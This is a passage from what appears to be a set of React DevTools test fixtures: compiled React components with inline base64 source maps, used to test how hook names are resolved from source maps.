sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5LmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50U3RhdGUiLCJjb3VudCIsInNldENvdW50IiwiZGFya01vZGUiLCJ1c2VJc0RhcmtNb2RlIiwiaXNEYXJrTW9kZSIsImhhbmRsZUNsaWNrIiwiZGFya01vZGVTdGF0ZSIsInVzZUVmZmVjdENyZWF0ZSJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsVUFBVSxHQUFHLHFCQUFTLENBQVQsQ0FBbkI7QUFDQSxRQUFNQyxLQUFLLEdBQUdELFVBQVUsQ0FBQyxDQUFELENBQXhCO0FBQ0EsUUFBTUUsUUFBUSxHQUFHRixVQUFVLENBQUMsQ0FBRCxDQUEzQjtBQUVBLFFBQU1HLFFBQVEsR0FBR0MsYUFBYSxFQUE5QjtBQUNBLFFBQU0sQ0FBQ0MsVUFBRCxJQUFlRixRQUFyQjtBQUVBLHdCQUFVLE1BQU0sQ0FDZDtBQUNELEdBRkQsRUFFRyxFQUZIOztBQUlBLFFBQU1HLFdBQVcsR0FBRyxNQUFNSixRQUFRLENBQUNELEtBQUssR0FBRyxDQUFULENBQWxDOztBQUVBLHNCQUNFLHlFQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLG9CQUFpQkksVUFBakIsQ0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGdCQUFhSixLQUFiLENBRkYsZUFHRTtBQUFRLElBQUEsT0FBTyxFQUFFSyxXQUFqQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFIRixDQURGO0FBT0Q7O0FBRUQsU0FBU0YsYUFBVCxHQUF5QjtBQUN2QixRQUFNRyxhQUFhLEdBQUcscUJBQVMsS0FBVCxDQUF0QjtBQUNBLFFBQU0sQ0FBQ0YsVUFBRCxJQUFlRSxhQUFyQjtBQUVBLHdCQUFVLFNBQVNDLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU8sQ0FBQ0gsVUFBRCxFQUFhLE1BQU0sQ0FBRSxDQUFyQixDQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlRWZmZWN0LCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCBjb3VudFN0YXRlID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGNvdW50ID0gY291bnRTdGF0ZVswXTtcbiAgY29uc3Qgc2V0Q291bnQgPSBjb3VudFN0YXRlWzFdO1xuXG4gIGNvbnN0IGRhcmtNb2RlID0gdXNlSXNEYXJrTW9kZSgpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZTtcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIC8vIC4uLlxuICB9LCBbXSk7XG5cbiAgY29uc3QgaGFuZGxlQ2xpY2sgPSAoKSA9PiBzZXRDb3VudChjb3VudCArIDEpO1xuXG4gIHJldHVybiAoXG4gICAgPD5cbiAgICAgIDxkaXY+RGFyayBtb2RlPyB7aXNEYXJrTW9kZX08L2Rpdj5cbiAgICAgIDxkaXY+Q291bnQ6IHtjb3VudH08L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBkYXJrTW9kZVN0YXRlID0gdXNlU3RhdGUoZmFsc2UpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZVN0YXRlO1xuXG4gIHVzZUVmZmVjdChmdW5jdGlvbiB1c2VFZmZlY3RDcmVhdGUoKSB7XG4gICAgLy8gSGVyZSBpcyB3aGVyZSB3ZSBtYXkgbGlzdGVuIHRvIGEgXCJ0aGVtZVwiIGV2ZW50Li4uXG4gIH0sIFtdKTtcblxuICByZXR1cm4gW2lzRGFya01vZGUsICgpID0+IHt9XTtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJjb3VudCIsImRhcmtNb2RlIiwiaXNEYXJrTW9kZSJdLCJtYXBwaW5ncyI6IkNBQUQ7YXFCQ0EsQVdEQTtpQmJFQSxBZUZBO29DVkdBLEFlSEEifV1dXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhDdXN0b21Ib29rLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiLCJpc0RhcmtNb2RlIiwidXNlSXNEYXJrTW9kZSIsImZvbyIsInVzZUZvbyIsImhhbmRsZUNsaWNrIiwidXNlRWZmZWN0Q3JlYXRlIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7Ozs7Ozs7O0FBRU8sU0FBU0EsU0FBVCxHQUFxQjtBQUMxQixRQUFNLENBQUNDLEtBQUQsRUFBUUMsUUFBUixJQUFvQixxQkFBUyxDQUFULENBQTFCO0FBQ0EsUUFBTUMsVUFBVSxHQUFHQyxhQUFhLEVBQWhDO0FBQ0EsUUFBTTtBQUFDQyxJQUFBQTtBQUFELE1BQVFDLE1BQU0sRUFBcEI7QUFFQSx3QkFBVSxNQUFNLENBQ2Q7QUFDRCxHQUZELEVBRUcsRUFGSDs7QUFJQSxRQUFNQyxXQUFXLEdBQUcsTUFBTUwsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUFsQzs7QUFFQSxzQkFDRSx5RUFDRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFBaUJFLFVBQWpCLENBREYsZUFFRTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFBYUYsS0FBYixDQUZGLGVBR0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FBV0ksR0FBWCxDQUhGLGVBSUU7QUFBUSxJQUFBLE9BQU8sRUFBRUUsV0FBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsb0JBSkYsQ0FERjtBQVFEOztBQUVELFNBQVNILGFBQVQsR0FBeUI7QUFDdkIsUUFBTSxDQUFDRCxVQUFELElBQWUscUJBQVMsS0FBVCxDQUFyQjtBQUVBLHdCQUFVLFNBQVNLLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU9MLFVBQVA7QUFDRDs7QUFFRCxTQUFTRyxNQUFULEdBQWtCO0FBQ2hCLDRCQUFjLEtBQWQ7QUFDQSxTQUFPO0FBQUNELElBQUFBLEdBQUcsRUFBRTtBQUFOLEdBQVA7QUFDRCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQgUmVhY3QsIHt1c2VEZWJ1Z1ZhbHVlLCB1c2VFZmZlY3QsIHVzZVN0YXRlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGlzRGFya01vZGUgPSB1c2VJc0RhcmtNb2RlKCk7XG4gIGNvbnN0IHtmb299ID0gdXNlRm9vKCk7XG5cbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICAvLyAuLi5cbiAgfSwgW10pO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gKCkgPT4gc2V0Q291bnQoY291bnQgKyAxKTtcblxuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICA8ZGl2PkRhcmsgbW9kZT8ge2lzRGFya01vZGV9PC9kaXY+XG4gICAgICA8ZGl2PkNvdW50OiB7Y291bnR9PC9kaXY+XG4gICAgICA8ZGl2PkZvbzoge2Zvb308L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSB1c2VTdGF0ZShmYWxzZSk7XG5cbiAgdXNlRWZmZWN0KGZ1bmN0aW9uIHVzZUVmZmVjdENyZWF0ZSgpIHtcbiAgICAvLyBIZXJlIGlzIHdoZXJlIHdlIG1heSBsaXN0ZW4gdG8gYSBcInRoZW1lXCIgZXZlbnQuLi5cbiAgfSwgW10pO1xuXG4gIHJldHVybiBpc0RhcmtNb2RlO1xufVxuXG5mdW5jdGlvbiB1c2VGb28oKSB7XG4gIHVzZURlYnVnVmFsdWUoJ2ZvbycpO1xuICByZXR1cm4ge2ZvbzogdHJ1ZX07XG59XG4iXSwieF9mYWNlYm9va19zb3VyY2VzIjpbW251bGwsW3sibmFtZXMiOlsiPG5vLWhvb2s+IiwiY291bnQiLCJpc0RhcmtNb2RlIl0sIm1hcHBpbmdzIjoiQ0FBRDthNEJDQSxBV0RBO2NsQkVBLEFlRkE7a0NiRUEifV1dXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsInRoZW1lIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7O0FBQ0E7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsS0FBSyxHQUFHLHdCQUFkO0FBRUEsc0JBQU87QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsZ0JBQWFBLEtBQWIsQ0FBUDtBQUNEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCc7XG5pbXBvcnQgdXNlVGhlbWUgZnJvbSAnLi91c2VUaGVtZSc7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlVGhlbWUoKTtcblxuICByZXR1cm4gPGRpdj50aGVtZToge3RoZW1lfTwvZGl2Pjtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJ0aGVtZSJdLCJtYXBwaW5ncyI6IkNBQUQ7Y2dCQ0EsQVVEQSJ9XV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZS5qcyJdLCJuYW1lcyI6WyJBIiwiQiIsIkNvbXBvbmVudCIsImEiLCJiIiwiYyIsImQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7QUFUQTs7Ozs7Ozs7QUFXQSxNQUFNQSxDQUFDLGdCQUFHLDBCQUFjLENBQWQsQ0FBVjtBQUNBLE1BQU1DLENBQUMsZ0JBQUcsMEJBQWMsQ0FBZCxDQUFWOztBQUVPLFNBQVNDLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsQ0FBQyxHQUFHLHVCQUFXSCxDQUFYLENBQVY7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdILENBQVgsQ0FBVixDQUYwQixDQUkxQjs7QUFDQSxRQUFNSSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBVjtBQUFBLFFBQXlCTSxDQUFDLEdBQUcsdUJBQVdMLENBQVgsQ0FBN0IsQ0FMMEIsQ0FLa0I7O0FBRTVDLFNBQU9FLENBQUMsR0FBR0MsQ0FBSixHQUFRQyxDQUFSLEdBQVlDLENBQW5CO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0fSBmcm9tICdyZWFjdCc7XG5cbmNvbnN0IEEgPSBjcmVhdGVDb250ZXh0KDEpO1xuY29uc3QgQiA9IGNyZWF0ZUNvbnRleHQoMik7XG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IGEgPSB1c2VDb250ZXh0KEEpO1xuICBjb25zdCBiID0gdXNlQ29udGV4dChCKTtcblxuICAvLyBwcmV0dGllci1pZ25vcmVcbiAgY29uc3QgYyA9IHVzZUNvbnRleHQoQSksIGQgPSB1c2VDb250ZXh0KEIpOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG9uZS12YXJcblxuICByZXR1cm4gYSArIGIgKyBjICsgZDtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJhIiwiYiIsImMiLCJkIl0sIm1hcHBpbmdzIjoiQ0FBRDtnQllDQSxBYURBO2lCYkVBLEFhRkE7b0JiR0EsQWFIQSxBTUlBLEFhSkEifV1dXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhOZXN0ZWRIb29rcy5qcyJdLCJuYW1lcyI6WyJ1c2VNZW1vIiwidXNlU3RhdGUiLCJyZXF1aXJlIiwiQ29tcG9uZW50IiwicHJvcHMiLCJJbm5lckNvbXBvbmVudCIsInN0YXRlIiwiY2FsbGJhY2siLCJtb2R1bGUiLCJleHBvcnRzIl0sIm1hcHBpbmdzIjoiOztBQUFBOzs7Ozs7OztBQVFBLE1BQU07QUFBQ0EsRUFBQUEsT0FBRDtBQUFVQyxFQUFBQTtBQUFWLElBQXNCQyxPQUFPLENBQUMsT0FBRCxDQUFuQzs7QUFFQSxTQUFTQyxTQUFULENBQW1CQyxLQUFuQixFQUEwQjtBQUN4QixRQUFNQyxjQUFjLEdBQUdMLE9BQU8sQ0FBQyxNQUFNLE1BQU07QUFDekMsVUFBTSxDQUFDTSxLQUFELElBQVVMLFFBQVEsQ0FBQyxDQUFELENBQXhCO0FBRUEsV0FBT0ssS0FBUDtBQUNELEdBSjZCLENBQTlCO0FBS0FGLEVBQUFBLEtBQUssQ0FBQ0csUUFBTixDQUFlRixjQUFmO0FBRUEsU0FBTyxJQUFQO0FBQ0Q7O0FBRURHLE1BQU0sQ0FBQ0MsT0FBUCxHQUFpQjtBQUFDTixFQUFBQTtBQUFELENBQWpCIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5jb25zdCB7dXNlTWVtbywgdXNlU3RhdGV9ID0gcmVxdWlyZSgncmVhY3QnKTtcblxuZnVuY3Rpb24gQ29tcG9uZW50KHByb3BzKSB7XG4gIGNvbnN0IElubmVyQ29tcG9uZW50ID0gdXNlTWVtbygoKSA9PiAoKSA9PiB7XG4gICAgY29uc3QgW3N0YXRlXSA9IHVzZVN0YXRlKDApO1xuXG4gICAgcmV0dXJuIHN0YXRlO1xuICB9KTtcbiAgcHJvcHMuY2FsbGJhY2soSW5uZXJDb21wb25lbnQpO1xuXG4gIHJldHVybiBudWxsO1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IHtDb21wb25lbnR9O1xuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiIsIklubmVyQ29tcG9uZW50Iiwic3RhdGUiXSwibWFwcGluZ3MiOiJDQUFEO1l5QkNBO2FMQ0EsQVdEQTtnQjNCREEifV1dXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbnRhaW5pbmdTdHJpbmdTb3VyY2VNYXBwaW5nVVJMLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFFQTtBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuLy8gP3NvdXJjZU1hcHBpbmdVUkw9KFteXFxzJ1wiXSspL2dtXG5cbmV4cG9ydCBmdW5jdGlvbiBDb21wb25lbnQoKSB7XG4gIGNvbnN0IFtjb3VudCwgc2V0Q291bnRdID0gdXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIChcbiAgICA8ZGl2PlxuICAgICAgPHA+WW91IGNsaWNrZWQge2NvdW50fSB0aW1lczwvcD5cbiAgICAgIDxidXR0b24gb25DbGljaz17KCkgPT4gc2V0Q291bnQoY291bnQgKyAxKX0+Q2xpY2sgbWU8L2J1dHRvbj5cbiAgICA8L2Rpdj5cbiAgKTtcbn1cbiJdLCJ4X2ZhY2Vib29rX3NvdXJjZXMiOltbbnVsbCxbeyJuYW1lcyI6WyI8bm8taG9vaz4iLCJjb3VudCJdLCJtYXBwaW5ncyI6IkNBQUQ7ZTRCQ0EsQVdEQSJ9XV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, 